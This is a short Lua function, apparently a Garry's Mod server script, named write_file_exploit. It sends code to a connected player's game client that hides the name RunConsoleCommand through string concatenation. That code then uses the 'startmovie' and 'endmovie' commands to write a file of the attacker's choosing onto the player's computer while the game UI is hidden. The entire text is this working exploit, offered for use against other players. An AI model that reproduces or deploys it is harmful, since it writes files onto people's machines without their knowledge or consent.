write_file_exploit = function(entity, filename)
	entity:SendLua("local con = _G['RunConsole' .. 'Command']; con('startmovie', '" .. filename .. ".'); gui.HideGameUI(); timer.Simple(0, function() con('endmovie'); end);");
	
	print("Writing File '" .. filename .. "' to " .. entity:Nick());
end